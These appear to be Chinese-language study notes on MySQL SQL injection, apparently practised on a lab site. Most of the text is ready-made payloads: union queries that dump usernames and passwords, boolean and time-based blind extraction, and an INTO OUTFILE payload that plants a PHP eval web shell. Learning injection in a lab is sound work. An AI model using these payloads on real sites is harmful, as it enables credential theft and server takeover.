【MySQL】sql注入相关内容
1. 为什么使用sql注入的时候,url传值的时候要使用–+而不是–
使用–进行注释的时候需要在后面加一个空格才可以被认为是注释,url传值的过程中会将空格自动忽略,使用+则可以在传输中保留为空格符号。(同时使用#作为注释符会被解释为锚点,导致失效)
2. 常用的sql注入方式
- 判断包裹方式
<!-- 使用\来判断包裹方式 -->
?id=-1\
- 获取数据库名
<!-- 以下的包裹方式均假设为单引号,前端显示字段数量假设为3 -->
?id=-1' union select 1,2,database() --+
- 获取数据库表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
- 获取数据表列名
<!-- 注意这里面的是table_name,查询数据库中有那些表的时候where语句后面是table_schema -->
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
- 获取列对应的数据内容
<!-- 知道字段名之后就可以通过group_concat组合各个字段的数据 -->
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
3. sql盲注
有的时候页面上回显不会那么明显或者就没有,你只能通过当前页面的状态判断输入的参数是对是错,这时候就需要用到盲注。
- 看一下页面正常回显的样子是什么,以及参数的闭合方式
正常会先为You are in…
可以看到闭合方式为单引号
- 判断以下数据库的名字是什么,使用如下语句判断数据库的第一个字符在什么范围。
看第一个字符是否小于字符m
<!--借助ascii码的值来判断数据库名的第一个字符是在那个范围,大于或者小于字符m-->
<!--使用and来确保在后面的条件错误的情况下能与正常的情况有明显不同-->
?id=1' and ascii(substr(database(),1,1)) < ascii('m') --+
可以看到,页面没有回显什么数据,那么变化以下条件,等于的情况和大于的情况。
等于的情况,也和上述情况一样。
?id=1' and ascii(substr(database(),1,1)) = ascii('m') --+
大于的情况如下,可以正确的回显
?id=1' and ascii(substr(database(),1,1)) > ascii('m') --+
使用该方式可以试出来,第一个字符为‘s’,页面正确的回显
?id=1' and ascii(substr(database(),1,1)) = ascii('s') --+
3. 使用该方式可以可以一次判断出数据库的名称为security
?id=1' and ascii(substr(database(),2,1)) = ascii('e') --+
?id=1' and ascii(substr(database(),3,1)) = ascii('c') --+
或者简单一点
?id=1' and substr(database(),3,1) = 'c' --+
......
- 接下来也是通过该方式来判断数据库中的表名
<!--这里面的select语句可以选出按table_name排序的第一条数据,这里第一条数据就是email-->
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' order by table_name limit 0,1),1,1 ) = 'e' --+
可以看到第一个表表名第一个字符为e
调整以下substr截取的位置为2,可以判断出第二个字符为m,以此类推可以判断整个表名
<!--这里面的select语句可以选出按table_name排序的第一条数据,这里第一条数据就是email-->
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' order by table_name limit 0,1),2,1 ) = 'm' --+
- 基于时间的盲注
?id=1' and if(length(database())>10,1,sleep(5)) --+
6.使用outfile
?id=-1' union select 1, 2, @@basedir --+
<!--输出php文件到目标地址-->
?id=-1')) union select 1,'<?php @eval($_POST[value]);?>',3 into outfile 'xxx' --+